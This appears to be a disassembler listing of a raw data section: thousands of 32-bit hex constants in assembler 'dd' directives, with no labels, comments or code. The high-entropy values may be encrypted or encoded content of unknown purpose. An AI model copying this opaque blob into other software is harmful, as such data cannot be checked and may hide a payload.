		dd 7942CFEBh, 813458CBh, 0F4B80608h, 0F86CE948h, 6E0067F4h
		dd 63AF0776h, 447280CEh, 7EE0499Fh, 4822DFAAh, 793CE2A5h
		dd 49379CBFh, 56C44608h, 6BBA45E1h, 53614615h, 15BB4CE3h
		dd 92DAF0BFh, 0A0390EE7h, 8F2DF46Bh, 4A82FFBFh,	0BB3DD5AAh
		dd 0F8DD3F79h, 857B8C4Bh, 92DB5DBh, 99A775D3h, 3F8E3CEAh
		dd 43979FD7h, 326D7E6Ah, 8B6FC78Bh, 0F803A687h,	46E8D2BCh
		dd 98B5C72h, 29FC15D4h,	7ABC636Eh, 8D50CB60h, 0DF1651C8h
		dd 7E4015E0h, 4C57F272h, 0E7C6D854h, 0B79B0A6h,	0B12E57CBh
		dd 9D655468h, 85934173h, 9BC0ABC9h, 396C68Fh, 0EA5A69B5h
		dd 0EF99D979h, 0DECE494Bh, 740F525Eh, 811BDDC5h, 0BEEAA545h
		dd 40F4142h, 1CB4B805h,	45305809h, 0FD47A7FEh, 0E97C5C76h
		dd 16037D53h, 0FB1889F6h, 48F9E47Ch, 85F4B0C5h,	0DB52D7D7h
		dd 0A8BAB575h, 7E6E17D2h, 3EB7EE97h, 15901C47h,	7215183Dh
		dd 0A19B49DCh, 0EA0F08B4h, 0D5BE191Eh, 0C5D617DAh, 66D691F4h
		dd 0E713536Eh, 10CE65A2h, 0BE8F3584h, 0AFFE6D83h, 372578F4h
		dd 8FEF6B60h, 7C33A5B4h, 0FF1EF8C6h, 4B44FB81h,	55890208h
		dd 0BC30E63Fh, 92177BD0h, 0FF587161h, 3BCF6281h, 35B06009h
		dd 0EFE52CD9h, 0B08A3056h, 0C45AC3EAh, 0D017ACC7h, 9BDBF929h
		dd 6C5DD238h, 508E57BBh, 575B8A7Ah, 147DB85Dh, 6D7D2B93h
		dd 0BE720EACh, 0CEC0B96Eh, 5BF9910Fh, 72953882h, 5494773Dh
		dd 0EE1822DCh, 6151BE9Bh, 27730C62h, 5315317Fh,	47567E57h
		dd 0BA215B90h, 2D985692h, 2A6440CEh, 4A5A9B9h, 47ECB958h
		dd 0DDD8CD0Eh, 2E378FE3h, 215DD78Ah, 0D40A8E20h, 0ECFB5356h
		dd 388F9337h, 0D4452895h, 2C4BC04Bh, 2570F716h,	88FC360h
		dd 5A9E9B2Ah, 2487F76Bh, 0FFD599CAh, 0E79C6D7Eh, 0D1891717h
		dd 0ED194CA8h, 316F2ECBh, 61608A39h, 0D15C0FD1h, 0E1EFD8F9h
		dd 73C4EADFh, 8C214092h, 82147269h, 637D6E49h, 26D24D1Bh
		dd 0DD7F8366h, 3D93C580h, 85E10553h, 0B72B5AFEh, 8D894DD8h
		dd 332785CDh, 0E299275Ah, 0D3410E38h, 9A226FA9h, 93D234D5h
		dd 54775E50h, 0EBEFE33Bh, 0B9A32D3Ch, 2177AACFh, 0CA4C6157h
		dd 0EDC9AB6Ch, 2042D5CFh, 9264D342h, 0C1D35811h, 7593DC9Ah
		dd 6C48FB20h, 0CC66EBA1h, 4A8B87CDh, 9D11C89Fh,	798998BCh
		dd 88E332B5h, 0D0DA34EEh, 0B0114FD7h, 16E848D0h, 8285B327h
		dd 3BFE20FDh, 0BCD501A0h, 0AA40CC75h, 3153A412h, 0A127E5D1h
		dd 7617A950h, 0CD7139B1h, 35C08A1h, 0CE46446h, 7E1B2C98h
		dd 6E6654EEh, 79434B87h, 44093AD5h, 0A5395C17h,	87D9B515h
		dd 7C9FC835h, 52200260h, 0AB7AE27Fh, 0EE18484Bh, 8F186122h
		dd 6F484189h, 6F34B9C8h, 3DE65A45h, 0B3DA137Fh,	5C80E781h
		dd 0DA5862B9h, 0F6E2210Ch, 0FED84769h, 0D70A20CBh, 6DC89A04h
		dd 48D2608Eh, 349C20DEh, 14DFC8EEh, 7D23D728h, 2D971876h
		dd 835650Eh, 0FA18EFF8h, 2D196466h, 85131F95h, 7BBD6859h
		dd 5A5A5722h, 27A0CA6h,	26C8538Ah, 950E3A9Ch, 6F313FA8h
		dd 5B9780ECh, 4077E331h, 0AC64EEAAh, 80D8E921h,	4CD9CB37h
		dd 1F058740h, 3AFC9C03h, 55AC748Bh, 5B724A08h, 45B2D308h
		dd 7ACF9A9Dh, 9AFD7008h, 0DDE5A807h, 6AC5B668h,	954B909Dh
		dd 0CE6DF6F2h, 3F037929h, 2F149009h, 9F8CB759h,	0C83C01A3h
		dd 0FD066871h, 0D661279Eh, 301D9BAAh, 9C810C81h, 8D136C8Bh
		dd 99D73B90h, 553E7D52h, 0B0733C2Bh, 13FFB866h,	3C8EC2B8h
		dd 1BA3A52Ah, 7F3737C2h, 0FCA7E4B0h, 0D2EA7C3Ch, 749B91DBh
		dd 0D1C1EDC4h, 0FF71A531h, 93D0E1FDh, 64CA70D2h, 0C198B161h
		dd 7484949h, 0E0834C71h, 9DE2C840h, 0F4AF267Bh,	3C8133BAh
		dd 13D9F352h, 41ABAA2Ch, 311A6DB4h, 0FB90759Ah,	56D9BFFDh
		dd 55C8E201h, 0B4A46C18h, 33DA2391h, 261828DBh,	1DB1E0D6h
		dd 64EA5D3Eh, 93DA5A7Fh, 6EEA5316h, 7D74925Fh, 0B3DF3E45h
		dd 866E5A15h, 8E7D89B3h, 49D260B6h, 1012BD8Bh, 38BB39BAh
		dd 1CE243D4h, 6B0D3DE2h, 28ABA40Ch, 0E219E7F2h,	70E7B57h
		dd 0D7EC6999h, 0C5140DACh, 0A3D47CEBh, 169DFB46h, 22A1DD26h
		dd 2C6B9147h, 0FAA74A73h
		dd 0C236B20Bh, 0CA4F3EEFh, 68E36949h, 870A48CCh, 0FFEB4F81h
		dd 0EA073219h, 0F89E5B8Fh, 54E2B9C4h, 0FED2F09Dh, 59B3E0EEh
		dd 924E10AFh, 0E5C64481h, 35452A0h, 0C3C338AFh,	11F662D1h
		dd 68A324BAh, 514002F3h, 8FC38DC4h, 356DB619h, 36A945B6h
		dd 36D52202h, 57DF17CCh, 90CF7171h, 3A4550DAh, 302478DDh
		dd 3EEE2E42h, 681D49C6h, 53766748h, 0A3083396h,	9B2E9629h
		dd 0F4714E43h, 0B2EB6050h, 6A722A89h, 6DB8D714h, 85E5BBEAh
		dd 0B6C16EE2h, 1EDD8057h, 0A589EDCEh, 9988829Eh, 0AB5621CFh
		dd 6FD5A6CCh, 7AF4901Dh, 0A0119AC2h, 9D0C1090h,	0C577ADD6h
		dd 0EA59A48Ah, 0B9BCA094h, 0BD860668h, 0BAB8BCE6h, 291CDE88h
		dd 0D5DEAE3h, 62C601BAh, 8EC74F87h, 0C200DFAFh,	0FEDC34CFh
		dd 939D673Ah, 0DE7EBDAh, 0F2C582BDh, 58640C1Ch,	0C9DFBC23h
		dd 0F4FB634Ch, 7BBB1AF3h, 0B3F224F2h, 28EE421Bh, 59CA21B8h
		dd 0C295198Bh, 0C1EB4A7Ch, 0D77AB5F5h, 536EE244h, 0A4C9E71Eh
		dd 30CB3856h, 0ECA51CF8h, 0ED5D9465h, 10CF3B3h,	0EA6F951Fh
		dd 0B2D6FF4Eh, 290F0387h, 81850F82h, 0E69F77A8h, 45D094FBh
		dd 0ED48D111h, 6CB9DC4Ch, 40363ABEh, 36AC640Eh,	0D36A9739h
		dd 0B8B72A3Fh, 5426D036h, 3A56CB46h, 7C731FC6h,	0A2AFF5EEh
		dd 858D2218h, 24854EE4h, 9AAF398Fh, 930F98E8h, 0D3800480h
		dd 0DF381486h, 194A092Ch, 0AD38CB0Dh, 0CFCD8E81h, 4225D79Bh
		dd 9C525B41h, 414CF587h, 8E61C8Fh, 8422CC96h, 4848DD04h
		dd 12E426EFh, 0EA7D09BAh, 7C12E1C8h, 0AAC69D57h, 9EDCB09Ah
		dd 0C2CB78C6h, 0F497150Ah, 564D5948h, 0A6F5E519h, 37509736h
		dd 3D1BA1D4h, 0F8A3F7F0h, 889C695Bh, 0DC78A22Dh, 804ABA51h
		dd 5AA125F9h, 0EE7FF842h, 0D4463CE9h, 20AD8373h, 2D462DFEh
		dd 313033D5h, 0AF4C13E8h, 155B0629h, 7AB6CB7Ch,	8317D524h
		dd 1659B0B4h, 7E5F09C4h, 8C434D6Fh, 4B8F7B0Dh, 4A075361h
		dd 0E7BDCB7Dh, 3FAC2D78h, 1F8C5EBFh, 0B900BFE6h, 41C43E95h
		dd 23675522h, 718B9DA3h, 748E5453h, 7AE78E98h, 503C4287h
		dd 80E5C09Fh, 0A9989B4Eh, 0DACEDACDh, 0D5F7AA4Ah, 0A0CABA20h
		dd 50187D0Bh, 364B24CBh, 0AF44BA2Fh, 0A808D505h, 19FA5B5Eh
		dd 9CF52CCAh, 0DDEE8A8Fh, 0F5AD7FA7h, 0D29E612Ch, 77A39E26h
		dd 14ACD8CFh, 0B8338925h, 7E0BBF10h, 0FC85E93Bh, 0CB7ABEFBh
		dd 0B3322A3Bh, 0F269E291h, 0B698130h, 860EF784h, 0BD5791FBh
		dd 97771BD9h, 892017DDh, 0F22E9E25h, 0D9248B46h, 0ECE93917h
		dd 99815283h, 13F8C43Bh, 8BCD63CDh, 0BC1A3D54h,	99157F47h
		dd 6BDB6CCDh, 37D0C8CFh, 9E55507Ah, 0BC091526h,	0B83231ABh
		dd 0B28925E1h, 537D580Ah, 2F23C8EBh, 5C7512B4h,	75028AE5h
		dd 39768F3Fh, 432E95D4h, 3B32CF66h, 77D58A36h, 0E9B20130h
		dd 0C6D9E3EBh, 5185EB62h, 8343F7A2h, 0F03F85ACh, 998CD07Eh
		dd 96D64984h, 42D8A1B7h, 44D56779h, 37F290F9h, 0F6FC1533h
		dd 3EE8FD6Eh, 4BE3AF32h, 0AB56975Eh, 0FAF743F5h, 41560226h
		dd 7D479388h, 7AA76521h, 0BD56267Bh, 0F3487D7Ah, 0AC0542E7h
		dd 6E4F1B25h, 2A6464CAh, 3B8393D1h, 97D2B6A1h, 7B451252h
		dd 29980050h, 7DB72443h, 4A84F8Ah, 4DA1CA85h, 11104A3Ah
		dd 5281F92Ah, 272CBB8Fh, 0F648E0CFh, 0C3214E7Fh, 18214917h
		dd 0B0B58975h, 0D8779A1Ch, 6A286292h, 0D5D31FF8h, 0BF44DB17h
		dd 0F2718C86h, 3DEE6692h, 4B30EFA6h, 3ABAA92Ch,	5C59D458h
		dd 34BF35B9h, 5987EC88h, 9C96F843h, 6ABDA34Eh, 853F230Eh
		dd 0C3FFB253h, 437AF365h, 76AE6520h, 0FBCF744Ch, 0A6F73A65h
		dd 30C61FA6h, 99774C6Fh, 53F1278Ch, 0FEE27D04h,	0D7407870h
		dd 1EA6E456h, 0A21C7F31h, 0F1B05434h, 6DA2F8E5h, 0A7317DD9h
		dd 0B4FE63B3h, 0E8B63E50h, 0F392FF16h, 580B8EE8h, 0DC8A8767h
		dd 4ABE9B5Bh, 21004BB9h, 0C123C600h, 0A1ABCAFEh, 0A1F729D5h
		dd 0E3BBD546h, 0CCD53DB9h, 2D2C8C1Dh, 0C03CBEFAh, 0C745140Ch
		dd 0AD0532C2h, 0A76D0F86h, 0E13B4FB4h, 13823482h, 6A5669C2h
		dd 4F9DBB7Fh, 5A969258h, 523B6BC6h, 0B18D2543h,	4157DAB3h
		dd 7EF91EC3h, 30C6D255h, 0F5A593DCh, 25A72CFh, 27683A57h
		dd 856EE39Bh, 0D9501B1Bh, 0C69FD0F2h, 7E504502h, 1E7E2FB3h
		dd 5154F889h, 4DB5D33h,	22A5E82Eh, 0A7E1562Fh, 49785211h
		dd 0FFF2683h, 823D6877h, 0C9201AE9h, 0FCE19793h, 471F175Ch
		dd 0B0213A14h, 5BDBAD78h, 0B5B98CCAh, 68EF718Bh, 6392D5BAh
		dd 0CCBD55C5h, 45961F3Dh, 0CE317374h, 8E9ADE1Ah, 761C9A8Bh
		dd 0ED01383Eh, 3889ED0h, 23F6510Ah, 9C5E3F71h, 21A35DC5h
		dd 0CE279C5Eh, 0AB200E20h, 5522033Ah, 84FE2617h, 4FC9667h
		dd 53B65BFBh, 0BDB9A96Bh, 872A0CC8h, 38EFC8C0h,	0F95E9B15h
		dd 0FA32FAF4h, 5FF20E4h, 0A83D16BBh, 55E376B5h,	5FD5735Dh
		dd 2073D4AEh, 0AEA0B9CCh, 3CAD1656h, 5DB04718h,	0EE299893h
		dd 7E4D8EECh, 21C368F3h, 799FB31Eh, 3229AA5Fh, 0ABB35C35h
		dd 0F57CDA1h, 5075BF76h, 751AD23Eh, 78BF28B0h, 39374C8Ah
		dd 4C394089h, 0AE19C138h, 0A234C510h, 2CB9B385h, 0C17F12A0h
		dd 0BDCF5D81h, 1C8AEDC9h, 0BDBD1779h, 41A2F182h, 3CD6AF8Eh
		dd 2D1789F1h, 0B315826h, 4558DA0Fh, 249AEE0h, 701BF95h
		dd 2B7BD603h, 8EB92606h, 95D32E89h, 22D457E0h, 342E6A47h
		dd 6874D84Eh, 5B68707Bh, 0F3D88A20h, 469BF999h,	0DA477A15h
		dd 0B149151Dh, 51466919h, 0BE18F202h, 0FCAFD113h, 0B655EA1h
		dd 0BE9BC5FFh, 5998BFBAh, 0BC72FE16h, 71F5464Ah, 0D58AA362h
		dd 0FC850639h, 0F2803558h, 0EF5F9877h, 854E81C4h, 4015B09Fh
		dd 0A2BC2E9Ah, 2CA30E98h, 8CC4F765h, 0E1F92617h, 0DB9F14C6h
		dd 670D2484h, 0B077E9D4h, 0D9FDB6Ah, 2C5A7087h,	0D2C082EAh
		dd 762102B3h, 6A83A710h, 0FA63462Dh, 263AA560h,	20576701h
		dd 0E7378CCEh, 87E9BD55h, 36DA0290h, 0EBF379BAh, 2686C14Dh
		dd 771DCB89h, 0C9E0D400h, 329E8B77h, 51B6D4D7h,	0E15DFED0h
		dd 0FBE5A2C3h, 2861FD20h, 6DE0C742h, 5D02680Eh,	703E9969h
		dd 0FC57FBDAh, 6160A9EBh, 0EBB203ABh, 0A1D746D5h, 38741F8Bh
		dd 0EAD1DBD3h, 7ABDB451h, 4695935Ah, 44358908h,	0A198733h
		dd 0EDA2EEC1h, 3CBBE31Ah, 0E3F57BA4h, 6983C12Eh, 0F3F5CB46h
		dd 0BF757219h, 3A98D5B9h, 690C3591h, 444D2FC9h,	0E33FB684h
		dd 0B50BAA4Ah, 1CD64386h, 4152517Bh, 0CC6229B4h, 1EDD67A1h
		dd 1D439C44h, 0A3BF5EDFh, 16E63A9Ch, 961A640Dh,	79667F56h
		dd 9DD7FDA9h, 0C54075D1h, 1330DCCh, 0B222A981h,	0E38CC864h
		dd 0AE7DB552h, 1961FEB3h, 7F1F8470h, 0A71D3EC6h, 0AEEA7169h
		dd 4B1BDE2Ah, 0C7EE733h, 46AC6E0h, 0A6561121h, 0CD4F2FDCh
		dd 0C89A7A3Ch, 0A99964C8h, 0BDE48747h, 0ACFC02FDh, 0D6731F75h
		dd 91D8C09Ah, 8DA0B1FFh, 79D40CAFh, 1DC0A457h, 56E90E3Bh
		dd 0AD41B28Eh, 4831616h, 0A12AFC74h, 5671DBE5h,	0C35EA900h
		dd 5758832Eh, 0E851DBADh, 0EE2FB9FFh, 8793E1E2h, 2A3FF55Ch
		dd 391AA7B1h, 0D8EEB919h, 11B4FD8Ah, 8D16964h, 99E45A55h
		dd 7CEAC40Ch, 35625457h, 74464666h, 0BD308BBAh,	6D04EF4Dh
		dd 6E33D2E6h, 0BD3730CEh, 6DB71B49h, 0C9DA5F48h, 0E417F3D6h
		dd 0D9C82310h, 0C3B7778Eh, 0C466FFFEh, 0BD71C83Fh, 73CEEE92h
		dd 84208EB3h, 32A2085Fh, 62961425h, 0F020DA4Eh,	0B1503FE0h
		dd 3AF43859h, 0AAAE6E5Eh
		dd 0C2EA086Ah, 29E8B1C9h, 21250506h, 0A3A7C06Ch, 0AC67A89Eh
		dd 0DA5312E7h, 0AD2CD0B5h, 45B62D6Bh, 0E062683Ah, 0C3C7B0DBh
		dd 0E83108B8h, 0AF747F21h, 2FCB8Bh, 0A35F9F55h,	0CD041130h
		dd 6BC42EE5h, 0F27A21C6h, 350F9346h, 9FFF7A42h,	0A572ED40h
		dd 2F0D9551h, 247B329Eh, 4E57A477h, 36A9658Bh, 0E8FA867Bh
		dd 32E409FBh, 570AB7EEh, 3C99C1A9h, 66BC50ECh, 0CA134EB2h
		dd 5E210878h, 0EDF6392Eh, 9614EB64h, 679D8AD4h,	7662FCB1h
		dd 8E08F5DFh, 8CC9214Bh, 0E8D68358h, 56C11BF7h,	6511B37Ch
		dd 557436B0h, 163A2E69h, 49384DEh, 5DF46441h, 0B268DB2Dh
		dd 35832691h, 786FF474h, 9C5ADA86h, 0F6C80241h,	0CCA1BD90h
		dd 0CD9A825h, 0EC531D01h, 0B962E566h, 577C2955h, 4F54B861h
		dd 2750F949h, 12D18109h, 497F24CDh, 571E5D54h, 0C6369D23h
		dd 0E57F700Eh, 0DD543A4Ah, 57077DCEh, 0B775F7C4h, 0A0A3949Bh
		dd 0B65B40C6h, 919E8BF3h, 0E23C6803h, 0EEFEFEFCh, 18081F5Dh
		dd 73C28081h, 84FAFE07h, 0AC671037h, 6D6905E6h,	0C19209F8h
		dd 37488721h, 0EA06D9E0h, 0BCDA325Fh, 0ABF21B7Eh, 0B751FD39h
		dd 0DF4B6FB6h, 9E2F14C8h, 758B57E0h, 7585FF11h,	285062B2h
		dd 72060601h, 0BC92D526h, 1677B767h, 6AAD4CB9h,	0B54D022Ah
		dd 116A7A48h, 0E8A0FDC7h, 0C6D18618h, 35A27190h, 0DA2C64DFh
		dd 81326374h, 2CAE3BE3h, 4C4F0878h, 67409441h, 43E75D0Bh
		dd 0ECA342A6h, 9A787595h, 8EED5F67h, 0D6962A6h,	140BE645h
		dd 28049F4Eh, 9B5D3D80h, 4EE5743h, 2D4EB096h, 0B3321F1Dh
		dd 0F4E6A639h, 0BF31266Dh, 7C5FCEC9h, 27FF6721h, 4708D056h
		dd 0ACC7A6EFh, 1ED14C3Eh, 78B4B20Bh, 1D3FD80Ah,	0B86BB53Ch
		dd 81CD60EBh, 4E3D07Fh,	0A5804D5h, 16F2E38Ah, 0F2178E35h
		dd 0E8D744DCh, 0D9232B2h, 2C363D5Ah, 0DAA7B754h, 5FDCCB23h
		dd 0A37841DCh, 68351B87h, 0B0524C4Eh, 4C54D63Ch, 3A47C8BFh
		dd 0EC36962Fh, 8A8D31A9h, 1DE5669Ch, 9455CDCCh,	0EE5E4E42h
		dd 17327891h, 3A16A276h, 28F78678h, 0D46427CFh,	313D4422h
		dd 0E116BFE1h, 0D19EC771h, 1BD6DEE1h, 45DD23A3h, 9C055455h
		dd 0F0BF5FA1h, 314FA332h, 4022F751h, 329F335Ch,	0DBD1CF49h
		dd 0A115CC78h, 623A527Bh, 0C7BB7EF9h, 60A6D78Dh, 76DAD33Dh
		dd 555B80D4h, 0B191E08Dh, 0C95FE7E1h, 23E04174h, 0C9C82110h
		dd 0B20F6C8Eh, 35D4F97Bh, 9208C965h, 0C966C75Eh, 3392F1A1h
		dd 5C7B5D58h, 0DE3A9D58h, 0AD95C1CDh, 0DE4E4049h, 7F95680Ch
		dd 8E007B4Ah, 0BC1BC0E2h, 0FE65D0DFh, 0DE3D10DFh, 3237CB58h
		dd 5C2EE0Bh, 16A711BAh,	0DAA91B95h, 0A4AF8899h,	0A6412B99h
		dd 0B880D4B3h, 2EFEE0BEh, 0DE7DEB2Eh, 0D661322Bh, 0E17DF7A8h
		dd 0FA055D8Ah, 86BE6883h, 38416F0Fh, 56F9B653h,	5216FF96h
		dd 0FC8ED191h, 0FC7E9ACAh, 652A69AEh, 0A4F8CBEEh, 0E52579E5h
		dd 0B217332Bh, 0AAE825C0h, 1078B351h, 89E242DDh, 9E0C2200h
		dd 0F8E481A4h, 9B27C3E0h, 75009558h, 0D0274A0Bh, 97D48120h
		dd 390DF116h, 0A54692F9h, 6178BACEh, 0F092E35Ah, 670D6370h
		dd 2574BC85h, 7F2487C8h, 36902534h, 7EAD7A73h, 0BE860785h
		dd 0AD033575h, 0DC8C0019h, 318C3445h, 0A531561Fh, 8568AA02h
		dd 5D709626h, 3F8CAA5Ch, 0A97E6179h, 6673ECFBh,	4E6A1C86h
		dd 746C4B6Fh, 0B4406174h, 0B2870B2Dh, 520398DBh, 0E0B029Ch
		dd 57F36A3Fh, 1CD7D5F1h, 1EF167AFh, 0EDBD0EDAh,	0DB7192A4h
		dd 4E57D460h, 63E0CE5Eh, 4CFF4959h, 342FC7FCh, 0E969F778h
		dd 0DDD9CCDEh, 2F570A7Dh, 0DBF6FF00h, 0EC57ABBBh, 0A7D48294h
		dd 0AF06D327h, 16FC19DCh, 5B851F6Ch, 0B9373EC9h, 0F0CDD163h
		dd 9C517920h, 0F55CF276h, 141A541Fh, 2F18BFD2h,	0E009E59Fh
		dd 45933CDBh, 0D8093EFFh, 851E9E4Ah, 0CAADAD19h, 5F5E129Dh
		dd 0CBE1D25Eh, 97D2A158h, 8CAA5B3Ah, 0EA898F5Ch, 0AA4F2579h
		dd 7EC43786h, 0C96A5FADh, 2D81AFD8h, 41613DD3h,	0D53224A5h
		dd 0A444C38Dh, 6663A5D1h, 45010802h, 0D962BE12h, 740D6257h
		dd 865FF711h, 0BA66778Bh, 35CE5ECBh, 899D81Fh, 0AE9FF325h
		dd 0DB50DF5Dh, 4A099EFh, 3FC8F043h, 62E80B28h, 3E086EEBh
		dd 539418h, 15BF0824h, 0DCBD6350h, 0AACD10B7h, 0F1BCC3DCh
		dd 99574908h, 6582E3EBh, 0A97627D6h, 0B3D26400h, 0F856E6AAh
		dd 28F4DD9Ah, 0A720738Dh, 4149DD7Eh, 4A2B618Bh,	8D1917DDh
		dd 98D2EB18h, 5D2E008h,	0FC9C2341h, 0F68971B7h,	0B119B711h
		dd 0D1BA30AFh, 8418486h, 0C88A5927h, 3679858Fh,	0F4EF42A5h
		dd 0D3AE3E98h, 514AE549h, 95E7A696h, 0CBBCDF39h, 2419BF95h
		dd 99D4CDF2h, 88FA7E8Fh, 153B2EC6h, 0A84D0576h,	45D4C07Bh
		dd 0DBE6183h, 49A30AC5h, 41372A76h, 7EAE9A8Ch, 46E4E432h
		dd 0CB0B713Eh, 258E00FBh, 6F5AEC83h, 883F5E02h,	1353AAEBh
		dd 0E6EBC8CDh, 53AAFAA1h, 3C563F0h, 0D1CBA583h,	8E40A49Ah
		dd 1E8AB351h, 6104BFBh,	9FA8DBC6h, 0C3CDE02Ah, 5E91FC1Ah
		dd 0E94FC195h, 9E975C74h, 4A29E1D9h, 15E72291h,	65E0497Ch
		dd 380A5521h, 0EDAFD595h, 0D300A207h, 17154ED3h, 36AAA021h
		dd 8F06A5DEh, 0BFA4E5BEh, 8CC2162Bh, 0B6FB561Bh, 0D85E6697h
		dd 2A2DCEFBh, 0B8D3B62h, 6709A69Ch, 5EFA6E44h, 0EC6052D6h
		dd 0DABD0E19h, 2D58701Ch, 0CE14F6AFh, 24E272Eh,	20F6D5D1h
		dd 1FF13EAEh, 0A1969580h, 43989A29h, 7B19F573h,	1FAAD41Ah
		dd 0C6EF5A77h, 67DC2944h, 56C40EE9h, 962F51C4h,	18721758h
		dd 166B9BCFh, 2FA75470h, 631EE3B2h, 0BDE8EB18h,	0EE26DE57h
		dd 0DF201CACh, 0B170A908h, 36A5AC49h, 0C6F170CFh, 0C5765BE1h
		dd 2B08C2B6h, 99DD2153h, 25B56DBEh, 209D93D0h, 4DAEA04Eh
		dd 0E9EC6050h, 1CE8456Eh, 0D04E0492h, 86709A9h,	79BAC3B5h
		dd 0BE3ACA4Eh, 37677C2Bh, 0DC88E90Dh, 0C0BBA525h, 0AD04D922h
		dd 6B9A0783h, 0D8E0DAE3h, 45112211h, 2813CE92h,	8B816829h
		dd 5EFBFB84h, 5BDCB9D7h, 2246EFA6h, 0C1ABEAF0h,	0EF04EA3Eh
		dd 197C13E1h, 6D349C0h,	7FF55917h, 0F706EB77h, 57FAACEFh
		dd 0E98E0554h, 0AB08C7F0h, 343709Ah, 6908F95Ch,	8E04111Eh
		dd 91B70FF5h, 0CD3E2627h, 31A64816h, 3C313732h,	0A2731499h
		dd 2DE91CABh, 0CA0A1560h, 8659F9F0h, 0B33675BCh, 1561B1E9h
		dd 52EDC2Fh, 7006A7ECh,	212C5653h, 0DB88D33Dh, 13D0F949h
		dd 0CCFE486Fh, 3DBB1F60h, 7FBAF723h, 9F80D537h,	4B22A9C6h
		dd 0AE45DAC0h, 0F88EB43Eh, 522FE807h, 9CC79B2Ch, 9F947B2h
		dd 0AD892ADCh, 7AE8969h, 0DDE4171Ch, 0BB0763F4h, 0DFC4DAAAh
		dd 0B23AF1F6h, 0A37E8F9Fh, 0BFCC8714h, 39EB6DF1h, 5C79EFC3h
		dd 8D009EB5h, 33C363FDh, 0B4C98B4h, 0E4ACA486h,	931DC487h
		dd 0BCC70716h, 0FC34FDCEh, 3ADC0CDAh, 0A28C7852h, 4FCA1C02h
		dd 0C843786Bh, 1A2203FAh, 166C76CBh, 1BC36FE9h,	1F85E3B6h
		dd 0E609FCFCh, 0F4929738h, 3DEB8DB1h, 0D66B8CEh, 85EBDEB0h
		dd 45926A3Ch, 4B002120h, 6913B7Eh, 0AFCFAF61h, 0E1D5A89Ch
		dd 1C076A6Fh, 0AAC9E85Bh, 629B5817h, 2930A449h,	0D2E86CE6h
		dd 65E2BAEBh, 9E27269Eh, 3AA624B9h, 0E3152DA4h,	82026A4Dh
		dd 50213ACFh, 824B091Eh, 8918116Dh, 55A93B0Eh, 46DB4B4Ch
		dd 7F96B4F0h, 3F38F272h, 19376E40h, 0C664D00Bh,	66DA480Fh
		dd 30680E03h, 6A89843Ch, 0E20CC1B6h, 1DB07D02h,	4F9F4282h
		dd 0E43C940Bh, 5DC34C14h
		dd 474B339Dh, 151DF004h, 8F08B748h, 0E4745EDCh,	0F6B15E98h
		dd 0F1BD6491h, 0C3F2A6AAh, 0E1DA4649h, 6E113AAAh, 0A357245Ah
		dd 96333B57h, 0E04E757Ch, 63131E8Ah, 9F7751B8h,	0DB05F32Bh
		dd 0B42759CDh, 81EB5CBAh, 0BBDD0835h, 4FF92B3Dh, 0A319E413h
		dd 0F6626D32h, 0DBB4D142h, 46BCB858h, 0E1646AEFh, 6A0061BFh
		dd 871C6C06h, 0C722EF15h, 0D391218Eh, 0CAF9C659h, 5B7E2A53h
		dd 41D0CD43h, 2570CDE5h, 0CCA242C2h, 946AA27Ch,	3208DD80h
		dd 0B7FB001Dh, 0C9D43478h, 0C2416368h, 0C6895ED1h, 510EB4EAh
		dd 0D74FA189h, 2FDF0C5Bh, 63725C0Bh, 0B62D09EEh, 4853E765h
		dd 5A747BCAh, 88C78102h, 0C911DBB6h, 7CCA395Ah,	8DF4587Ch
		dd 3137A6CEh, 2863A194h, 0A6702A15h, 91ED5ED1h,	0BE8D7BEDh
		dd 318907F4h, 77E60E26h, 324975Fh, 621E38F0h, 9906CD32h
		dd 25018047h, 1212FAF1h, 0AFBCA238h, 0BF25AEFBh, 537ADB3Ch
		dd 79AC1E41h, 0BAA90153h, 80DC324Fh, 8849E133h,	0D19B676Ah
		dd 2336C32Ch, 0F84B610Eh, 150C60E3h, 10FBB8C3h,	0AD0DE128h
		dd 2D419861h, 4C6C01ADh, 72D538CFh, 0BD282D2Fh,	7A5B1B51h
		dd 4F8AD678h, 0F87321C6h, 0D2ACFF0h, 20BB1E77h,	0BA755EDEh
		dd 0D0F3CEC3h, 0B10061A3h, 0BB83F3CAh, 0F354D53h, 0A7780ACAh
		dd 0A21BA093h, 0F842FF30h, 9012EC67h, 5AA63D1Ah, 34470330h
		dd 1F40C3ABh, 5BBD0559h, 0ADB8309Bh, 0AE6713CCh, 0F6A625CCh
		dd 0E89AFE38h, 0D223D934h, 0B77AFBAh, 3726F307h, 652DD46Eh
		dd 0DE33F2B3h, 0A47D6840h, 1124D955h, 0A31EC5FDh, 312903B7h
		dd 15E9CC2Bh, 0C1092036h, 21294317h, 265A597Fh,	1C85C94Bh
		dd 512CF63Ah, 0BA80188Fh, 0E19A2DBBh, 7EDE9079h, 2206D394h
		dd 7E866B73h, 3966C0CCh, 0DD4919B0h, 0B202A43Bh, 0C65E7787h
		dd 4766A00Ch, 32AF3692h, 9ECBBAD7h, 0C2BE1E7Ch,	2ED78CCh
		dd 69A7ECBFh, 549C7A8Ah, 27CE042h, 5A64C2CEh, 553E955Bh
		dd 0CD83CF6Eh, 211B14E3h, 8BE951Fh, 26C3D200h, 93676B13h
		dd 0D3608968h, 0D9B7017Bh, 155D446Eh, 0B1E58F8Dh, 65601CC6h
		dd 0B42305ABh, 86D79671h, 47B680B9h, 0A61A0BCCh, 691F3F35h
		dd 616C502Dh, 0BF164902h, 0C5CD5F98h, 687507CFh, 0F182E393h
		dd 8BAA930Ch, 3EFE4D1Fh, 545DAC07h, 0F2C256E2h,	2C9F948Fh
		dd 0A2F6E40Dh, 4D49858Fh, 0B9947624h, 5FA3B012h, 33147378h
		dd 30846E62h, 1B4AC738h, 7FC36B76h, 5A90BD9Fh, 0F51E3E79h
		dd 69B1DB68h, 0A4E70F39h, 0D6096927h, 0F6733687h, 0F56680EFh
		dd 0E918F6F9h, 38D4E4EEh, 0B6BE12Fh, 0EB0B5544h, 844888Eh
		dd 29FED6BCh, 294E104Ch, 0F8297AC1h, 8452B054h,	0B8886381h
		dd 688657Fh, 4F2801ABh,	77A4340h, 0B1069DCBh, 117E45AFh
		dd 2636E977h, 6912981Bh, 851415F8h, 9ACC6549h, 30F347CBh
		dd 0E7F10A28h, 12F27431h, 586E83C6h, 5CE2F937h,	96A08A61h
		dd 3DBC2B4Ch, 62776B2Eh, 7C6DF107h, 9EA80541h, 592FC415h
		dd 18469385h, 4F5D1606h, 0F68EC6D4h, 0AEE4F077h, 7EAFA775h
